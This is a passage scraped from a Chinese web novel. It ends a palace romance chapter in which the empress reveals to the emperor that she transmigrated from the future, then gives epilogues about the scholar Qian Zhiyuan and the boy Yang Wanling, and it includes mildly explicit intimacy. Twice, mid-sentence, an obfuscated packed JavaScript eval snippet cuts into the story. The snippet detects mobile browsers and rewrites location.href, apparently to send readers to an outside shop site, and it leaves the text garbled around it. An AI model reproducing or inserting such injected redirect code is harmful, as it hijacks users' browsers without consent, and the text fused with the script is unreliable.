嘹亮的哭声响彻整座太极殿。 伺候的宫人全都被吓醒了,更不用提就睡在小家伙面前的苏若琳。 听到孩子的哭声,苏若琳连忙从榻上爬起来,她脸上还有些懵,便见到小家伙在她身前哭得肝肠寸断。 而她的心上人就站在她面前的地上,疲惫的俊脸上写满了无措。 见状,她终于清醒了一些,连忙将孩子抱进怀里,又摇又晃地哄了好一会儿,终于把小家伙给哄睡着了。 等把孩子交给红烛抱回去以后,苏若琳抬起头看着心上人疲惫不堪的面容,那一双惺忪的凤目四周黑眼圈浓重,从前温润如玉的少年郎如今看着竟无比憔悴。 她不由得心疼道:“明日开始我睡外边吧,你都累成这样了,好歹也休息些时日。” 萧怀琳抬起手打了个哈欠,然后摇了摇头:“不用。” 他说着掀开被子,揽着爱人重新躺下:“你才刚生产完,身体还没恢复,不能累着。” 心上人的低喃,如同一阵温暖的微风,吹拂过苏若琳的心间。 看着心上人竟然已经睡着的面容,她不禁在萧怀琳的脸颊上落下轻轻一吻。 她想,她可以把那个秘密告诉他了。 这样一个心疼她到自己都累到沾床就睡了,都不舍得让她受一点委屈的男人,即便是知道了她真正的来历,也一定不会改变对她的感情的。 苏若琳在找机会。 坦白这个秘密,需要一个合适的日子,一个合适的场合,需要合适的氛围,也需要很大的勇气。 不过这一次,她有足够的耐心,等了许久,终于等到了一个合适的时机。 等到小家伙百日之后,半夜不会再哭闹,太医也再三确保苏若琳的身体已经完全恢复,萧怀琳终于舍得和爱人同房。 算算日子,两人已经旷了一年还要多了。 那夜萧怀琳格外凶猛,苏若琳几乎娇喊了一整夜,最后实在累得不行,瘫软在了心上人的怀里。 萧怀琳见爱人都已经累成这样,这才终于肯停下来。 他将爱人抱在怀里,两人的肌肤紧紧贴在一起,就这么安静地躺着,谁都没有说话。 过了片刻,苏若琳突然道:“怀琳,我想跟你说一件事。” 面前的人微微点头,头顶处传来温柔而又深情的声音:“你说。” 心上人应地干脆,可临到开口时,苏若琳却有些胆怯,还有些紧张。 她这般踌躇着,面前的心上人忽然低下头,亲昵地蹭了蹭她的鼻子,眉目间皆是深情:“怎么心跳得这么快?” “没事的,你说,就算是天塌下来我也能撑住。” ......她没闯祸! 苏若琳那一张娇媚的俏脸微微泛红,她深吸了一口气,终于开口道:“其实我不是苏若琳。” 话音未落,她便感觉到面前抱着她的人全身一僵。 “你......你说什么?” 末了,苏若琳似乎又觉得她的话不太对:“嗯......倒也不能说不是,我确实是苏若琳,但不是那个苏国公府的大小姐。” 面前的萧怀琳这才渐渐地放松了下来。 “那你是谁,来自哪里?”萧怀琳轻吻着面前人额头,心里已经做好了一万个准备,“你尽管告诉我,不用怕,若是有什么难言之隐,我都给你做主。” 他如今是大楚的帝王,他就不信这普天之下,还有谁能威胁到他的妻子。 如果有,那他就把它变成没有。 苏若琳看着心上人眼中晦暗不明的神色,那双秀丽的凤目在短短片刻便闪过了无数复杂的情绪,不由得笑出声。 她不知道心上人都想了些什么奇怪的东西,但是她敢肯定,她说的这个,对方肯定想不到。 “其实,我来自两千年以后。” 萧怀琳的大脑顿时一片空白。 这个,这个...... “你......你没在开玩笑?” “当然没有!”苏若琳瞪了他一眼,“我可是用了很大的勇气才跟你坦白的!” “......”萧怀琳呆愣了片刻,勉强将爱人的话消化了一下,“那,那你......” 苏若琳知道,她说的话对于眼前的心上人来说信息量有些大了,她只好用尽量浅显的话语跟他解释。 “这具身体依旧是苏国公府大小姐的,但里面装的却是我的灵魂。” 这下萧怀琳大概能理解了。 转世......之类的? 他从前并不信鬼神之说,不过如果是若琳说的话,那他愿意相信。 “那......她是有什么未了的心愿吗,比如因为什么事枉死,需要你来帮她复仇之类的?” 说到此,萧怀琳忽然意识到一个问题。 如今按照若琳所说,她的灵魂自两千年后而来,进入了这具身体。 那么他眼前的这个妻子,是什么时候来到这具身体的? 会是他到宁安王府的那三年里来的吗? 那他岂不是...... 萧怀琳的心猛然收紧,他无比得想要知道真相,可是他却不敢问。 如果她不是自己当初所爱的那个人,那自己岂不是...... 那自己这些年来的一切都变成了什么? 此时此刻,这位睥睨天下的天子害怕极了。 随后他便听到眼前的人轻笑了一下。 “没有什么冤屈啦,她好像就是莫名其妙地生了一场大病,然后我就来了。” 苏若琳还未意识到心上人的异样,她吻了吻心上人的肩膀,含笑道:“就是......就是你十三岁那年,你不是年前被接来安定侯府的吗?那个时候你应该也听说了,当时她或者说我,在生病吧?” 她这么一说,萧怀琳就记起来了。 他最开始被接回安定侯府的时候,因为当时夫人病重,所以是得宠的柳姨娘把她分到了那个墙壁漏风的小阁子。 “所以......”萧怀琳的全身都在微微颤抖,“我当时被杨婉玉推下水的时候,你已经从两千年以后,来到这具身体里了吗?” 他怀里的人微微点头。 萧怀琳悬着的一颗心终于落了地。 他觉得自己这辈子都没有这么庆幸过。 他没有爱错人。 太好了。 随后便听到他的爱人在他怀里继续说道:“你们这个世界里发生的事情,在我的那个世界里,也就是我的家乡,被写成了一本小说......呃,也就是话本子。” “因为我看过那个话本子,所以知道你们这里发生的事,也知道你在那一晚会被推下水,所以才能及时赶过去救你。” 萧怀琳眼眸微动。 “......所以,如果你那晚没有救我,我就已经死了吗?” 怀里的爱人点了点头:“在我看的那个话本子里,这具身体原本的主人,也就是真正的苏若琳,她没有救你。” 闻言,萧怀琳的心不由得开始微微颤动。 原来是这样...... 原来如果不是他的爱人来到了这个世界,那晚他就已经死了。 萧怀琳不由自主地抱紧了怀里的爱人,低头不断地轻吻着她的额头和脸颊,呢喃道:“若琳......谢谢你。” 你不仅救了我的命,还救了我的整个人生。 苏若琳享受着爱人的拥吻,那一双秀丽的眼眸中满是温暖的爱意。 末了,萧怀琳将下巴垫在爱人的发顶,小声道:“那......你想家吗,你还有机会回去吗?” 苏若琳在他的怀里轻轻摇了摇头:“最开始也许会想吧,不过后来就更喜欢这里了。” “这里有你,有我们的儿子,有纨枫纨岚他们......”苏若琳说着蹭了蹭爱人的胸口,含笑道,“就算有机会,我也不会再回去了。” 萧怀琳也笑了。 那太好了。 说到儿子,苏若琳忽然想起了一件事:“告诉你哦,在我的家乡,一个男子只能有一个妻子,是不可以纳妾的。” “哦?”萧怀琳微微挑眉。 这倒是有意思。 “那如果纳妾了呢?” 怀里的爱人笑道:“我们那里没有纳妾,如果一个男子同时拥有两个妻子,是犯罪,会被抓进牢里的。” 嗯? 萧怀琳不禁反问道:“就算是皇帝也不能有嫔妃吗,有的话也被会抓进牢里?” “我们那里已经没有皇帝了。”苏若琳眉眼轻弯。 没,没有皇帝?! 萧怀琳难以置信地瞪大双眼。 “那这天下由谁说了算?若是没有掌权之人,岂不会天下大乱?” “嘶......”苏若琳在心上人怀里皱起眉头,“我要怎么跟你解释呢。” 啊,有了。 “我的家乡那里呢,虽然没有皇帝,但还是有官员们的。”苏若琳思索道,“其中最说了算的......大概就是丞相了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151745|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在政务上,丞相会和百官们开会商量,就像你们上早朝那样,如果这条政策被大多数人接受,那么就会被执行。” “但是在生活上,所有人都要听法律的,律法允许的事情,大家可以做;不允许的,做了就会被抓进大牢。” “那听起来还可以。”萧怀琳微微点头。 “当然可以!”苏若琳含笑道,“我们家乡里,可不会有一个人因为对另一个人不敬,就被下令处死这种事。” 萧怀琳不由得笑了:“你是在说我吗?” 他是皇帝,若是别人敢对他不敬,自然就会被下令处死。 “只是举个例子啦。”苏若琳在爱人的怀里蹭了蹭。 她忽然想到了一件事。 “怀琳,我问你啊。” “嗯。”头顶处传来温柔的声音,“你说。” “如果我这一胎生的是个女儿,然后又因为难产伤到了身子,以后再也没办法怀孕生孩子了,你要怎么办?”苏若琳好整以暇地看着自己的心上人。 这应该是道送命题了吧。 面前的这个男人,还有纨枫和纨岚两个孩子,是生在封建礼教的社会制度之下,和她思想最接近的。 因为他们跟着她耳濡目染,是被她亲手教导出来的。 她不禁想知道,他会做出怎样的决定。 听到爱人的问题,萧怀琳略微思索了一下。 而后张开口,缓缓道: “那我就教咱们的女儿武艺骑射,教她理政治国,以后把她立为皇太女。” 苏若琳那双秀丽的眼眸蓦地亮了。 满分的答案。 这个答案她自己能想到,但是她从未想过竟然有一日,能在心上人的口中听到。 萧怀琳看着爱人惊喜的神色,低低地笑了:“怎么,很意外吗?” 他也是从小被当做女儿养大的,后来不是也成为大楚的帝王? 如果是他们的女儿,从小就学习那些,而不是像他一样赶了三年的鸭子就上架,说不定还会比他做的更好。 很意外的苏若琳望着心上人明媚的笑意,心弦被猛烈地拨动着。 她的朱唇微微颤动着,凑到心上人的唇边,狠狠地吻了上去。 两人拥吻缠绵了许久。 待到唇齿分离以后,苏若琳笑着道:“告诉你哦,在我们的家乡,女子也能做官,也能科举,也能继承祖辈的家业,和男子是一样的。” 萧怀琳含笑点头。 看爱人高兴成这样,他就猜到了。 “那可真是一个不错的地方。” 当然不错,苏若琳心想。 那可是如今这个封建社会继续往前发展了两千年,才进化成的文明。 说到最后,萧怀琳轻声问自己的爱人:“那你......你真正的名字,叫什么?” 他想知道爱人真正的名字。 他希望自己呼唤的是他的爱人,而不是爱人所在的这具躯壳。 还有他那因为眼前的爱人而起的,怀琳...... 苏若琳抬起头,看着心上人温柔得如同春水一般细腻的眼眸,忍不住伸出手去抚上他白皙的脸颊。 而后眉眼轻弯,柔声道:“就是苏若琳,我原本的名字,也叫苏若琳。” “那太好了。”萧怀琳将爱人的另一只手举到唇前,深情地吻着。 那他其实一直以来,也没有喊错人。 一直都是他的爱人,一直都是。 “那......”萧怀琳抵住爱人的额头,声音有些沙哑地问道,“你来自两千年以后的这个秘密,除了我,还有其他人知道吗?” “没有,我只告诉过你一个人。”苏若琳笑着摇头,“老爷子,纨枫纨岚他们,我都没有说过。” 只告诉过他一个人啊。 萧怀琳的心间不由自主地涌入了一股甜蜜的暖流。 那这可就是,独属于他和若琳的秘密了…… 萧怀琳缓缓地笑了。 他轻轻地吻了吻爱人的脸颊,附到她耳边小声道:“若琳,我们再来一次吧?” 情至浓时,苏若琳怎么会不答应? 正好也休息了一会,没有那么累了。 她轻轻点头。 于是...... 半个时辰后。 “怀……怀琳!”苏若琳可怜巴巴地看着眼前的心上人,开口求饶道,“你轻一点啊!” 听到了爱人楚楚动人的求饶声,萧怀琳不禁缓缓低下头,怜爱地轻吻着爱人的耳廓。 他声音沙哑地问道:“你还有什么事在瞒着我吗?” 此时的苏若琳已经被刺激得眼泪都流出来了,那双秀丽的眼眸周围微微泛红,如同一只饿狼口中的小白兔,“没,没有了!” 而她面前的恶狼,却变得愈加凶狠。 “真没有了吗?” “真没有了!”苏若琳哭着摇头,“就这一个秘密,已经告诉你了!” 闻言,眼前的恶狼终于肯放过自己的心爱的白兔,低下头轻柔地吻掉爱人眼角的泪珠,满意地笑了:“好。” 155. 番外六:钱志远 八月初,天已入秋,清晨的道路上有些微凉。 一辆马车缓缓行至午门外,从里面走出了一个身着青色长袍的清秀书生。 书生缓步来到午门前,从袖中拿出代表着右丞相身份的令牌,交由守在门前的侍卫核对。 那令牌由紫檀木雕刻而成,镶嵌着紫晶白玉,在晨光下熠熠生辉。 侍卫只匆匆看了一眼,便含笑问候道:“钱公子今日也去祝相那里上课吗?” 当朝右相至少在众人所知之中,仅有三个学生。 一个官任吏部尚书,一个官任户部侍郎,皆朝中重臣。 而剩下的那一个呢,便是眼前的这位钱公子。 即便外人不说,但所有人都已在暗中对这位尚未入仕的钱公子怀抱着期待。 师出名门,两位同门皆高官,这位钱公子就算再差,又能差到哪里去呢? 因此,侍卫们对他也自然是客气得不能再客气。 如今自钱志远拜入祝贤盛门下已经过了三年多,有名师引路,高官为友,他的心境早已和三年前相比发生了巨大的蜕变。 别的不提,单是每日念书都要进出皇宫这一条经历,足以让他无论面对多大的场面都不会怯懦。 自从走出了从前的那个小村子后,钱志远才发现,当你跻身的位置越高,你身边的善意也就越多。 道路也就越宽阔,越好走。 就比如现在。 他含笑对侍卫点了点头,便抬腿走进宫内。 皇宫很大,一样望不到头,最开始进皇宫念书的那些时日,每日先生都会派小太监来到午门等着他,然后给他引路。 后来走得多了,至少通往先生所居住的嘉德殿的这一条路,他已经熟悉得很了。 中途遇到同样常经此路的宫人,彼此基本也都混了个脸熟。 “钱公子今日又来上课了?” 钱志远微微颔首,礼貌地回应:“对。” 也有宫女曾经有意于他,经常等在此路与他“偶遇”,然后悄悄往他的怀里塞手绢。 钱志远吓得连忙往后退:“这位姑姑,男女授受不亲啊!” 天啊,在他人生的前十五年里,平日没被人欺负就不错了,哪里受到过这种待遇? 而这样的宫女还不止一个,大家都知道他师出名门,日后必定前程似锦,人长得也清秀,虽然不如同门的杨尚书和杨侍郎,但也足以称一声青年才俊了。 况且......要真是杨尚书或是杨侍郎那般的人物,她们也不敢高攀啊。 因此,钱志远前往嘉德殿的路上时常能遇到惊喜。 但好在他心性坚定,历经了龙潭虎穴,终于赶到了嘉德殿。 这个时候时辰尚早,祝贤盛一般早朝没那么快回来,他就会自己打开书本,温习功课。 过了一会儿,便会有小太监引着一个身着精致小袍子的孩童进来,那还孩童睁着一双大大的眼睛,一看到钱志远,高兴地朝他扑过来。 “志远哥哥!” 杨纨绫手脚麻利地爬到钱志远的腿上,坐在后者怀里兴奋道:“志远哥哥,你知道吗,小弟弟已经三个月了!他现在长得越来越好看,小手软软肉肉的,超级好玩!” 钱志远知道他说的小弟弟便是刚诞生不久的储君,皇后娘娘是纨枫纨岚他们的继母,母子情深,那么他们称呼储君为弟弟也合情合理。 虽然有点奇怪的是,他们有时候居然会喊陛下大哥。 也许他们和陛下私下里拜了把子吧,虽然喊陛下大哥又喊娘娘母亲的有点怪,可能他们各论各的,具体情形,钱志远也不是很清楚。 总之他们高兴就好。 钱志远安静地听着杨纨绫叽叽喳喳完,便熟练地拿出一本《论语》,在杨纨绫面前翻开。 “我记得昨日你应该学到......哦对,这里。” 杨纨绫今年已经六岁了,按照大户人家的规矩,已经可以开蒙了。 因此从前些日子开始,这孩子每日都会被他的兄长们送到先生这里来念书。 说实话,这孩子真的很聪明。 虽然比不上杨纨枫那么恐怖,但是绝对要比杨纨岚的天资高。 钱志远带着才六岁的杨纨绫温习功课,心里已经开始期待了。 期待如今正坐在他腿上的这个小弟弟,也可以说是他的同门师弟的未来。 待到十年后,这小子定然也会如他的兄长们那般,惊羡四座吧。 大的带着小的又在屋里温习了片刻,随着一阵脚步声,以及木拐敲击地面的声音响起,一大一小两人连忙站起来,出门去迎祝贤盛。 这一次,祝贤盛身后还跟着个张辅之。 两位老人一前一后进了屋,只是脸色都不怎么好看。 忽地,后面的张辅之冷哼了一声。 祝贤盛回头道:“你牛什么牛,我说梨州贪污严重,你有意见吗?” 张辅之瞪着他:“即便是贪污严重,如今洪水当前,应该先解决了天灾,后面再慢慢对付那些贪官才对!” 祝贤盛冷笑了一声:“贪污那么严重,你就算是往下拨十万两黄金,那帮不知天高地厚的贪官也能给你吞七八万两你信不信?” 张辅之不说话了。 祝贤盛说着用拐敲了敲地面:“羊毛就得出在羊身上,不让他们自己出点血,只等着坐享其成,没门!” “说得轻巧,那地已经变成吃人不吐骨头的龙潭虎穴了。”张辅之冷着脸往前走,“你可别忘了,上一个派下去查贪污的官员,到现在都没回来!” 这次祝贤盛倒是没反驳:“这事还得从长计议。” 他说着也往屋里走去,就看到他的两个学生并列站在墙根的角落里,杨纨绫注意到曾祖锐利的视线看过来,连忙往钱志远的身后缩了缩。 从前曾祖在国公府的时候,虽然挺不苟言笑的,但也从来没有发过火啊。 现在曾祖到了皇宫,批文书气着了发火,和曾伯祖吵架了发火,他课业写得不好也发火,实在是太可怕了呜呜呜。 张辅之自己找了个位置,吩咐自己的侍从把文书拿过来,同时还不往冷嘲祝贤盛一句:“你看你给人孩子吓得。” “你懂个什么!”祝贤盛瞪了他一眼,看向两个学生,“你俩过来。” 祝贤盛上早朝回来之后,一般不会着急处理公务,而是先抽查学生的课业,再把今日该学的内容吩咐好。 等抽查完,两人的课业都没出什么问题,祝贤盛神色稍霁。 批文书的张辅之忽地抬起头,指了指钱志远:“今年这小子是不是要秋闱?” “对,晚辈三日后就要秋闱了。”钱志远恭敬道。 “把握大吗?”张辅之又问道。 “你这是什么话!”祝贤盛不满地看向他,“我的学生,你还问有没有把握?” 应该问打算考个第几比较合适才对! 当着晚辈的面,张辅之不好对这老小子翻白眼,他对钱志远点了点头:“嗯,好好考。” 钱志远连忙行礼称是。 然后就听到祝贤盛没好气道:“考不到亚魁以后别认我这个先生。” 钱志远:?!!! 亚魁乃秋闱第六名,虽,虽然他先前纵观历年秋闱的文章,也是觉得自己应当没问题吧...... 但是,万一出了点什么意外呢?! 结果现在先生就给下了死令,那他就是拼了命也得考上前六啊。 于是,因着祝贤盛的一句话,在余下的三日里,钱志远是一刻不敢放松,拼了命地温习功课。 要知道,老爷子这些年来说过的话,没有一句是开玩笑的,他说了考不到前六就不认自己这个学生,那自己就算考了个第七,也照样会被扫地出门啊! 好在功夫不负有心人。 他本来天资也不差,不然当初也不会被杨纨枫推荐给祝贤盛,后来拜入祝贤盛门下也学习刻苦,一切的努力,皆在一个月后看到了回报。 九月中旬,贡元桂榜放榜,钱志远夺得解元。 报录人登门的那一日,钱氏激动地止不住流泪,杨纨枫他们都来道喜,就连远在皇宫的苏若琳也下懿旨赏赐了不少东西。 祝贤盛的脸上也难得露出了一个欣慰的笑容。 他当初就是考的解元,他的学生们也都应该考解元,这才叫一脉相承。 除了那个半路跑去经商的杨纨岚臭小子。 杨纨玦兄弟四个和钱志远约在饕餮楼一起吃了顿饭。 杨国公府四个兄弟里边,除去杨纨绫年纪还太小,不能喝酒,再是杨纨枫有酒廯,最后剩下的只有杨纨玦和杨纨岚会喝酒了。 于是杨纨枫和杨纨绫坐在边上吃饭,看着另外三个相互斗酒。 第一个醉倒的是杨纨玦,他的酒量只能说可以,真要拼起酒来还是不行的。 而钱志远一向自诩千杯不醉,如今居然见到杨纨岚和他一样能喝,不由得惊讶道:“小看你了啊。” “那必须的。”杨纨岚骄傲地摸了摸鼻子,话落间又给自己满上了一杯,“哥们可是千杯不醉好吧!” 钱志远乐了:“行,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167454|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看咱俩谁能万杯不醉!” 然后钱志远也被杨纨岚喝倒了。 眼见着钱志远趴在桌上不省人事,杨纨岚红着一张脸,抬起脚踩在桌上,高举手里的空杯,仰天大笑:“哈哈,一群菜鸡!” 杨纨绫看着他这副模样,清澈的大眼睛里居然也流露出了一丝担忧。 他推了推身侧正在夹菜的杨纨枫:“三哥,四哥是不是喝傻了?” 杨纨枫幽幽道:“没事,喝傻了更好。” 杨纨岚一听这话登时就不高兴了:“我没有喝啥!” “我!”杨纨岚说着打了个嗝,傻笑了起来,“嘿嘿嘿,是大聪明!” 然后他也栽倒在了椅子上,不省人事。 杨纨枫:......你可真是个大聪明。 四个大人里边三个醉得不成样子,但好在最靠谱的那个还是清醒的,最后还是杨纨枫下楼结的账,一边牵着幼弟的手,一边带着三个醉鬼回的家。 翌日钱志远从自己屋里醒来,已是午后了。 宿醉之后,他的脑袋痛得很。 他昏昏沉沉地从榻上爬起来,忽然想起来,都这个时辰了还没去上课,先生非劈了他不可! 钱志远连忙挣扎着下榻,结果头重脚轻,直接从榻上摔了下来。 “哎哟......”他躺在地上艰难地痛呼。 这时,原本放在枕边的一张纸条飘落了下来,盖在了他的脸上。 他把纸条拿起来,眯起眼睛仔细一看。 是纨枫的字迹,上面写着——我已经帮你跟曾祖告假,好好休息,明年春闱殿试再创佳绩。 钱志远的脸上不由得露出笑容。 好,春闱和殿试他也一定会努力的。 努力追上他这帮天才朋友的脚步,入仕为官,不求平步青云,但求独当一面。 · 他自然是做到了。 明天三月春闱,钱志远夺得第二名,四月殿试,夺得探花。 至此,钱志远作为祝相门下弟子,吏部尚书和户部侍郎的同门,在满京城的青年才俊中不负众望。 只是到了琼林宴列次授官时,他就没有杨纨玦和杨纨枫那么好的运气了。 毕竟萧怀琳可不像先帝那么昏庸,你就算是考了状元,按照旧例,也得先从翰林院开始,慢慢往上爬吧。 不过琼林宴过后,萧怀琳单独召见了钱志远。 他从弟弟们的口中有所耳闻,知道面前的这个青年也是个人才。 不过究竟是个怎样的人才呢?让他来摸摸底看看。 钱志远跟着小太监一路来到太极殿。 望着走廊内雄伟低奢的布置装潢,他不禁感叹。 太极殿不愧是皇帝的寝殿,比起先生的嘉德殿要好上太多。 当他踏入内室以后,便见到萧怀琳正坐在案台后面,身上的衣服已经从礼服换成了天子常服,抬起头来望着他。 钱志远行大礼道:“微臣叩见陛下。” 他方才已经受封翰林院编修,自接旨的那一刻起,便也能自称一句“微臣”了。 萧怀琳单手托腮,并未开口讲话,就这么看着钱志远。 他那张俊秀的脸上带着浅淡的笑意,可那双凤目却如同深渊一般,仿佛能将一切吞噬其中。 而从方才钱志远踏入内室开始,便感觉到了周遭的气压都已经低了几分。 这就是天子吗。 过了半晌,萧怀琳才道:“起来吧。” 胆子倒是不小,也不知道是不是跟着老爷子和纨枫他们练出来的。 至于才学,萧怀琳和自己的新下属聊了几句,最后总结道,可以。 虽然比纨枫纨岚差点,不过他在政务上也有自己独到的见解,可以用。 就是还是太稚嫩了点,先磨砺一段时间吧。 毕竟不是每个人都能像纨枫和纨岚那样,一个月就能上手一个部。 如果磨得效果还不错的话,吏部或者刑部应该比较适合这小子。 最后萧怀琳摆摆手,让人下去了。 钱志远跟着小太监一路出了太极殿,那小太监也时常途径嘉德殿,和钱志远也算是脸熟。 等把人送到午门外以后,小太监的脸上露出几分谄媚的笑意:“恭喜钱公子,哦不对,如今该叫钱编修了。” 钱志远含笑应对。 等小太监转身回去以后,他抬起头望着天边的晚霞。 今日的太阳将要落了。 而明日当太阳重新升起的那一刻,他光明璀璨的人生,也要开始了。 156. 番外七:杨纨绫(上) 杨纨绫很喜欢母亲和大哥给他生的小弟弟。 小家伙也喜欢自己的四哥。 毕竟在兄弟几人里边,只有四哥和他的年岁是最相近的。 而且两人都是在长辈和兄长们的关爱下长大的,因此也都养成了活泼却不顽劣的性子,各种方面都很合得来,关系自然而然就变得很要好。 时过境迁,小家伙渐渐地长成了小孩,而杨纨绫也从小孩长成了大孩。 杨纨绫今年已经十岁了。 他渐渐地懂得了很多事理,也终于明白了母亲和大哥之间的关系。 原来大哥是父亲的原配和老宁安王的儿子,而母亲是父亲的继室。 母亲和大哥并没有血缘关系,所以大哥才能够娶母亲为妻。 而且,二哥是秋姨娘所出的,三哥和四哥也都是府上的姨娘生的,他们都是母亲的继子。 只有弟弟才是母亲亲生的。 那么问题来了,他又是谁生的呢? 他曾经问过姨娘这个问题,姨娘宠溺地揉了揉他的头,眼里却闪过了一丝复杂的神色:“你也是府上的姨娘所出的。” 哦,那他其实和二哥三哥四哥也都一样,也是母亲的继子。 “那我是哪个姨娘生的啊?” 二哥的生母是秋姨娘,但是生了三哥和四哥的那两个姨娘已经去世很久了,没有人记得名字。 那生下他的姨娘呢? 然而姨娘却不说话了。 秋姨娘看着正趴在她腿上的杨纨绫,那一双灵动的大眼睛无比清澈。 这个孩子被教养得极好,从小就在长辈和兄长们的关爱下长大,从来没有接触过那些肮脏的算计和阴谋。 他长得根正苗红,从生下来到现在,从未有一日像过他那工于心计的生母。 以后也不会像的。 这般想着,秋姨娘温柔地捏了捏杨纨绫的小鼻子:“你的姨娘去世得也很早,刚生下你没几日就撒手人寰了。” 哦,那他就和三哥四哥一样了呗。 杨纨绫知道了他的生母在他很小的时候就去世了,心里并没有多么大的感触。 三哥和四哥也是从小就没了生母,但是他们一直都把母亲当作来生母看待的。 杨纨绫也是一样的。 从小到大,母亲一直都很疼爱他,在他的眼里,母亲就和生母没什么区别。 有关他那去世很早的生母,似乎只是他生活里的一个小插曲。 就像他不知道毛毛虫是怎么变成的蝴蝶;就像他不知道明日,曾祖要上多久的早朝才能回嘉德殿;就像他不知道晚膳后厨做的番茄炒蛋,到底会是甜口的还是咸口的。 从前不知道的,现在知道了。 那知道了以后呢? 转过头便被抛之脑后了。 在充满关爱中长大的杨纨绫从来没有过忧虑,他天生心思细腻,可是长辈和兄长从来都能照顾到他敏感的内心,所以他从小到大一直都很幸福。 直到后来,府里渐渐地多了一些不好的传言。 那传言不知是谁最先开始传出来的,但是后来大家都在说,愈演愈烈。 他们都说,四少爷像极了他的生母。 “柳姨娘进府前不就是医女吗?四少爷这么喜欢学医,还从小就长了个灵敏的鼻子,定然是随了柳姨娘的!” 国公府里的众人都知道,他从小鼻子就很灵,什么都能闻出来,母亲和姨娘都叫他小狗鼻子。 姨娘调的那些熏香,他闻几遍就能分清,后来有一次姨娘在调香的时候,他还在旁边帮过忙。 自那以后,他再闻到熏香,只根据气味就能说出都用了哪些香料。 他从前一直以为自己只是鼻子比较灵敏而已,直到有一次他从书房里翻到了一本医书。 那本书已经很旧了,封皮都已经被磨烂了,书页似是被水泡皱过,上面有些字迹都花了,胡乱地被塞在书架的某个角落。 里面讲的也不是什么稀奇的药方,只是记载着一些常见的药材,似乎就是一本平平无奇、被人忽视的破书。 但他只是看了一眼,便爱上了。 那些书里讲到的那些药材,都长什么样子,闻起来是什么味,吃起来又是什么味,有什么功效,都能治什么病,都让他无比好奇。 他孜孜不倦地汲取着这本书里的内容,丝毫不觉得枯燥。 后来看得多了,逐渐也就都记住了。 杨纨绫很兴奋。 原来他不只是鼻子灵敏,他是有学医的天赋的。 学医多好啊,可以治病救人,以后姨娘兄长们有个什么头疼脑热的,让他来治就好啦! 他这般想着,日夜捧着那本医书,几乎从不离手。 后来他还让下人去把书上对应的药材买来,照着药材去研究。 秋姨娘和杨纨绫的几个兄长们知道了此事以后,也都没有反对。 只要这孩子不吃喝嫖赌,无论有些什么爱好他们都支持。 更何况,学医也还是一件好事。 于是,那些说四少爷像生母柳姨娘的传言,就渐渐地在府里传开了。 “四少爷可真是像极了柳姨娘啊!” “要么说是亲生的呢!” 起初府里传出这些传言时,杨纨绫并没有放在心上。 他并不知道他的生母是个怎样的人,但是孩子像生母应当是很正常的吧? 若是生下来的孩子和亲生父母一点也不像,那才奇怪呢。 可是渐渐的,随着这些传言愈演愈烈,他终于意识到了一些不对劲—— 那些下人,似乎很讨厌他的生母。 他们都说生母不是个好人。 那他的生母到底为什么不是好人?她到底都做过些什么? 好多次,杨纨绫很想问问那些下人,他的生母到底是一个怎样的人,可是还未等他走进,那些下人便连忙跑开了。 再后来,他去姨娘,姨娘的眼中却充满了复杂的神色,对他讳莫如深。 ……这到底是为什么? 一种名为恐慌的东西逐渐在幼小的心里弥漫开来,可是他不敢说。 正如下人们说的,他的生母大概不是个好人,不然姨娘怎么会露出那种神情? 杨纨绫小心翼翼地隐藏起心里的恐惧,直到有一次,下人们在背后议论这些时,被他无意间听到了。 那时他才知道,他的生母究竟都做过些什么。 那日,杨纨绫正抱着刚买来的药材回自己的院子——这些药材还是从江南专门运过来的,为了等这些药材,他今日特意跟曾祖告假,没有去上课。 他抱着药材走在半路上,路过院门时,听到有下人躲在树下小声道:“四少爷这么喜欢学医,真不愧是柳姨娘生的。” “还真不愧呢!”那下人的话音刚落,便被同样在树下的一个丫鬟瞪了一眼,“那个贱人,下毒害死了老爷,还差点用毒害死大少爷,甚至给二少爷三少爷也都下过毒,四少爷像那个贱人,难道是好事吗?” 听此,杨纨绫难以置信地瞪大双眼,连忙躲到墙后。 他,他刚才都听到了什么?! 他的生母……害死了父亲,还想要害死兄长们?! 杨纨绫吃惊地捂着嘴,还未从震惊之中回过神来,便听到那个下人又叹了一口气。 “那咱们有什么办法?咱们就是一群狗奴才,还能拦住四少爷不让他捣鼓那些不成?” 而下人面前的那个丫鬟此时正倚着树干,双手环胸,闻言冷哼了一声。 “依我看,其他几位少爷还是太信任四少爷了,贱人的种,身上到底是流着不干净的血。” “若是放任他继续学那些东西,没准哪天就学会了怎么下毒,和当初那个贱人一样,把其他少爷都给害死!” “你瞎说什么呢!”下人连忙捂住她的嘴,“你这话要是被夫人知道了,还想不想活命了!” 下人口中的夫人,便是如今已经封为杨国夫人的秋姨娘。 那丫鬟被下人警告了一番,非但没有害怕,反而还不高兴地掰开下人的手,往地上啐了一口:“此地就咱们两个人,难不成你还去跟夫人告状不成?” “我怎么可能去和夫人告状呢?”下人连忙道,“但是你得小心隔墙有耳啊!” 闻言,正躲在不远处的墙后面偷听的杨纨绫心一惊,怀里的一截药枝掉到了地上。 随着树枝掉落的声音响起,树下的下人和丫鬟顿时警觉:“谁?!” 杨纨绫连忙转过身落荒而逃。 他慌张地跑回自己的院子,将怀里的那堆药材随便放地上一扔,直奔屋里。 